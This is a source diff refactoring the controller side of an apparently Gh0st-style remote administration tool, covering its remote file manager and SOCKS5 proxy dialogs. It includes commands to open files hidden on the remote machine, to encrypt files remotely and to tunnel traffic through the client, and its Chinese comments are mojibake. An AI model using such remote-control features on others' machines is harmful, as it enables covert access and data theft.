||||
|
||||
@@ -24,7 +24,7 @@ static UINT indicators[] = {
|
||||
|
||||
using namespace file;
|
||||
|
||||
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
||||
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_File)
|
||||
{
|
||||
m_ProgressCtrl = nullptr;
|
||||
@@ -468,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList()
|
||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||
|
||||
BYTE bPacket = COMMAND_FILE_GETNETHOOD;
|
||||
m_iocpServer->Send(m_ContextObject, &bPacket, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bPacket, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize)
|
||||
@@ -717,7 +717,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
||||
|
||||
bPacket[0] = COMMAND_LIST_FILES;
|
||||
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
||||
@@ -744,7 +744,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize);
|
||||
bPacket[0] = COMMAND_FILE_GETINFO;
|
||||
memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
}
|
||||
return;
|
||||
@@ -769,7 +769,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
}
|
||||
if (directory.Compare(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>")) == 0) {
|
||||
BYTE byToken = COMMAND_FILE_RECENT;
|
||||
m_iocpServer->Send(m_ContextObject, &byToken, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
|
||||
return;
|
||||
}
|
||||
m_Remote_Path = directory;
|
||||
@@ -779,7 +779,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
|
||||
bPacket[0] = COMMAND_LIST_FILES;
|
||||
memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
m_Remote_Directory_ComboBox.InsertString(0, directory);
|
||||
@@ -937,7 +937,7 @@ void CFileManagerDlg::OnRemoteView()
|
||||
void CFileManagerDlg::OnRemoteRecent()
|
||||
{
|
||||
BYTE byToken = COMMAND_FILE_RECENT;
|
||||
m_iocpServer->Send(m_ContextObject, &byToken, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnRemoteDesktop()
|
||||
@@ -1131,7 +1131,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
|
||||
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR));
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1193,7 +1193,7 @@ BOOL CFileManagerDlg::SendUploadJob()
|
||||
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
|
||||
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
||||
memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR));
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1221,7 +1221,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
|
||||
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1376,7 +1376,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
SendStop(TRUE);
|
||||
else {
|
||||
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1439,7 +1439,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
||||
bToken[0] = COMMAND_CONTINUE;
|
||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1534,13 +1534,13 @@ void CFileManagerDlg::EndRemoteDeleteFile()
|
||||
void CFileManagerDlg::SendException()
|
||||
{
|
||||
BYTE bBuff = COMMAND_FILE_EXCEPTION;
|
||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendContinue()
|
||||
{
|
||||
BYTE bBuff = COMMAND_CONTINUE;
|
||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendStop(BOOL bIsDownload)
|
||||
@@ -1552,7 +1552,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload)
|
||||
BYTE bBuff[2];
|
||||
bBuff[0] = COMMAND_STOP;
|
||||
bBuff[1] = bIsDownload;
|
||||
m_iocpServer->Send(m_ContextObject, bBuff, sizeof(bBuff));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bBuff, sizeof(bBuff));
|
||||
}
|
||||
|
||||
void CFileManagerDlg::ShowProgress()
|
||||
@@ -1668,7 +1668,7 @@ void CFileManagerDlg::SendTransferMode()
|
||||
BYTE bToken[5];
|
||||
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
||||
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendFileData()
|
||||
@@ -1707,7 +1707,7 @@ void CFileManagerDlg::SendFileData()
|
||||
|
||||
if (nNumberOfBytesRead > 0) {
|
||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
}
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1759,7 +1759,7 @@ void CFileManagerDlg::OnRemoteNewFolder()
|
||||
LPBYTE lpBuffer = new BYTE[nPacketSize];
|
||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1792,7 +1792,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR));
|
||||
memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR),
|
||||
strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
*pResult = 1;
|
||||
@@ -1802,7 +1802,7 @@ void CFileManagerDlg::OnDelete()
|
||||
{
|
||||
BYTE bBuff;
|
||||
bBuff = COMMAND_FILE_NO_ENFORCE;
|
||||
m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
|
||||
OnRemoteDelete();
|
||||
}
|
||||
|
||||
@@ -1810,7 +1810,7 @@ void CFileManagerDlg::OnDeleteEnforce()
|
||||
{
|
||||
BYTE bBuff;
|
||||
bBuff = COMMAND_FILE_ENFOCE;
|
||||
m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
|
||||
OnRemoteDelete();
|
||||
}
|
||||
|
||||
@@ -1846,7 +1846,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||
lpPacket[1] = m_bUseAdmin;
|
||||
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1864,7 +1864,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||
lpPacket[1] = m_bUseAdmin;
|
||||
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1881,7 +1881,7 @@ void CFileManagerDlg::OnRemoteInfo()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_FILE_INFO;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1900,7 +1900,7 @@ void CFileManagerDlg::OnRemoteEncryption()
|
||||
lpPacket[0] = COMMAND_FILE_Encryption;
|
||||
|
||||
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1919,7 +1919,7 @@ void CFileManagerDlg::OnRemoteDecrypt()
|
||||
lpPacket[0] = COMMAND_FILE_Decrypt;
|
||||
|
||||
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1940,7 +1940,7 @@ void CFileManagerDlg::OnRemoteCopyFile()
|
||||
lpPacket[0] = COMMAND_FILE_CopyFile;
|
||||
|
||||
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
ShowMessage(_T("<EFBFBD><EFBFBD>ճ<EFBFBD><EFBFBD>"));
|
||||
}
|
||||
@@ -1951,7 +1951,7 @@ void CFileManagerDlg::OnRemotePasteFile()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_FILE_PasteFile;
|
||||
memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1975,7 +1975,7 @@ void CFileManagerDlg::OnRemotezip()
|
||||
lpPacket[0] = COMMAND_FILE_zip;
|
||||
|
||||
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
|
||||
ShowMessage(_T("<EFBFBD><EFBFBD>ʼѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>رմ<EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
@@ -1984,7 +1984,7 @@ void CFileManagerDlg::OnRemotezip()
|
||||
void CFileManagerDlg::OnRemotezipstop()
|
||||
{
|
||||
BYTE lpPacket = COMMAND_FILE_zip_stop;
|
||||
m_iocpServer->Send(m_ContextObject, &lpPacket, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &lpPacket, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
@@ -2033,7 +2033,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1];
|
||||
lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST;
|
||||
memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH));
|
||||
m_iocpServer->Send(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
|
||||
SAFE_DELETE_AR(lpbuffer);
|
||||
SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE);
|
||||
}
|
||||
@@ -2308,7 +2308,7 @@ void CFileManagerDlg::OnCompress()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
|
||||
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -2335,7 +2335,7 @@ void CFileManagerDlg::OnUncompress()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
|
||||
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -2368,7 +2368,7 @@ void CFileManagerDlg::OnBtnSearch()
|
||||
LPBYTE lpBuffer = new BYTE[nPacketSize];
|
||||
lpBuffer[0] = COMMAND_SEARCH_FILE;
|
||||
memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket));
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
// <20><><EFBFBD>ð<EFBFBD>ť״̬
|
||||
m_BtnSearch.SetWindowText(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>..."));
|
||||
@@ -2441,7 +2441,7 @@ void CFileManagerDlg::OnBnClickedSearchStop()
|
||||
GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE);
|
||||
// TODO: Add your command handler code here
|
||||
BYTE bToken = COMMAND_FILES_SEARCH_STOP;
|
||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -92,7 +92,7 @@ namespace file {
|
||||
void fixNetHood(BYTE* pbuffer, int buffersize);//Զ<>̹<EFBFBD><CCB9><EFBFBD>Ŀ¼
|
||||
bool id_search_result;
|
||||
CStatusBar m_wndStatusBar;
|
||||
CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
~CFileManagerDlg() {
|
||||
m_bIsClosed = TRUE;
|
||||
SAFE_DELETE(m_ProgressCtrl);
|
||||
|
||||
@@ -14,14 +14,10 @@
|
||||
|
||||
#define IDM_PROXY_CHROME 8000
|
||||
|
||||
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
||||
: CDialog(CProxyMapDlg::IDD, pParent)
|
||||
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: CDialogBase(CProxyMapDlg::IDD, pParent, pIOCPServer, pContext, IDI_Proxifier)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_ContextObject = pContext;
|
||||
m_iocpLocal = NULL;
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier));
|
||||
m_bIsClose = false;
|
||||
}
|
||||
|
||||
void CProxyMapDlg::DoDataExchange(CDataExchange* pDX)
|
||||
@@ -87,24 +83,24 @@ BOOL CProxyMapDlg::OnInitDialog()
|
||||
|
||||
void CProxyMapDlg::OnCancel()
|
||||
{
|
||||
if (m_bIsClose) return;
|
||||
m_bIsClosed = true;
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
m_iocpLocal->Shutdown();
|
||||
SAFE_DELETE(m_iocpLocal);
|
||||
|
||||
m_bIsClose = true;
|
||||
m_iocpServer->Disconnect(m_ContextObject);
|
||||
DestroyIcon(m_hIcon);
|
||||
m_iocpLocal->Shutdown();
|
||||
SAFE_DELETE(m_iocpLocal);
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
Sleep(50);
|
||||
if (IsWindow(m_hWnd))
|
||||
DestroyWindow();
|
||||
CancelIO();
|
||||
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode)
|
||||
{
|
||||
CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user;
|
||||
if (g_pProxyMap->m_bIsClose) return;
|
||||
if (g_pProxyMap->m_bIsClosed) return;
|
||||
|
||||
DWORD index = pContext->ID;
|
||||
TCHAR szMsg[200] = { 0 };
|
||||
@@ -118,7 +114,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
||||
BYTE lpData[5] = "";
|
||||
lpData[0] = COMMAND_PROXY_CLOSE;
|
||||
memcpy(lpData + 1, &index, sizeof(DWORD));
|
||||
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5);
|
||||
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, lpData, 5);
|
||||
}
|
||||
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<D3B6>\r\n"), index);
|
||||
break;
|
||||
@@ -126,7 +122,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
||||
break;
|
||||
case NC_RECEIVE:
|
||||
if (pContext->m_bProxyConnected == 2) {
|
||||
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
|
||||
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
|
||||
pContext->InDeCompressedBuffer.GetBufferLength());
|
||||
wsprintf(szMsg, _T("%d <==<3D><> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
|
||||
} else if (pContext->m_bProxyConnected == 0) {
|
||||
@@ -143,7 +139,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
||||
buf[0] = COMMAND_PROXY_CONNECT; // 1<><31><EFBFBD>ֽ<EFBFBD> ip v4 <20><><EFBFBD><EFBFBD>
|
||||
memcpy(buf + 1, &index, 4); // <20>ĸ<EFBFBD><C4B8>ֽ<EFBFBD> <20><EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
|
||||
memcpy(buf + 5, lpData + 4, 6); // 4<>ֽ<EFBFBD>ip 2<>ֽڶ˿<DAB6>
|
||||
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
|
||||
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
|
||||
in_addr inaddr = {};
|
||||
inaddr.s_addr = *(DWORD*)(buf + 5);
|
||||
char szmsg1[MAX_PATH];
|
||||
@@ -156,7 +152,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
||||
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
|
||||
memcpy(HostName + 1, &index, 4);
|
||||
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
|
||||
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
|
||||
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
|
||||
SAFE_DELETE_ARRAY(HostName);
|
||||
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
|
||||
} else if (lpData[3] == 4) { //ipv6
|
||||
@@ -193,7 +189,7 @@ void CProxyMapDlg::OnReceiveComplete()
|
||||
if (m_iocpLocal == NULL)
|
||||
return;
|
||||
|
||||
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose)
|
||||
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClosed)
|
||||
return;
|
||||
|
||||
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
|
||||
@@ -255,14 +251,14 @@ void CProxyMapDlg::OnReceiveComplete()
|
||||
|
||||
void CProxyMapDlg::AddLog(TCHAR* lpText)
|
||||
{
|
||||
if (m_bIsClose == TRUE) return;
|
||||
if (m_bIsClosed == TRUE) return;
|
||||
m_Edit.SetSel(-1, -1);
|
||||
m_Edit.ReplaceSel(lpText);
|
||||
}
|
||||
|
||||
void CProxyMapDlg::AddLog_other(TCHAR* lpText)
|
||||
{
|
||||
if (m_bIsClose == TRUE) return;
|
||||
if (m_bIsClosed == TRUE) return;
|
||||
m_EditOther.SetSel(-1, -1);
|
||||
m_EditOther.ReplaceSel(lpText);
|
||||
}
|
||||
@@ -285,15 +281,6 @@ void CProxyMapDlg::OnSize(UINT nType, int cx, int cy)
|
||||
m_Edit.MoveWindow(&rectEdit);
|
||||
}
|
||||
|
||||
void CProxyMapDlg::PostNcDestroy()
|
||||
{
|
||||
if (!m_bIsClose)
|
||||
OnCancel();
|
||||
CDialog::PostNcDestroy();
|
||||
delete this;
|
||||
}
|
||||
|
||||
|
||||
void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
|
||||
@@ -31,10 +31,10 @@ typedef struct {
|
||||
} Socks5Info;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: curl --socks5 127.0.0.1:5543 https://www.example.com
|
||||
class CProxyMapDlg : public CDialog
|
||||
class CProxyMapDlg : public DialogBase
|
||||
{
|
||||
public:
|
||||
CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
CProxyMapDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
|
||||
enum { IDD = IDD_PROXY };
|
||||
|
||||
@@ -45,7 +45,6 @@ public:
|
||||
void AddLog(TCHAR* lpText);
|
||||
void AddLog_other(TCHAR* lpText);
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual void PostNcDestroy();
|
||||
virtual void OnCancel();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
virtual BOOL OnInitDialog();
|
||||
@@ -53,11 +52,7 @@ public:
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
ClientContext* m_ContextObject;
|
||||
ISocketBase* m_iocpServer;
|
||||
CProxyConnectServer* m_iocpLocal;
|
||||
HICON m_hIcon;
|
||||
bool m_bIsClose;
|
||||
CEdit m_Edit;
|
||||
USHORT m_nPort;
|
||||
CEdit m_EditOther;
|
||||
|
||||
@@ -23,7 +23,7 @@ static UINT indicators[] = {
|
||||
};
|
||||
|
||||
|
||||
CMachineDlg::CMachineDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
||||
CMachineDlg::CMachineDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, IDI_MACHINE)
|
||||
{
|
||||
m_pMainWnd = (CMy2015RemoteDlg*)pParent;
|
||||
@@ -163,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog()
|
||||
|
||||
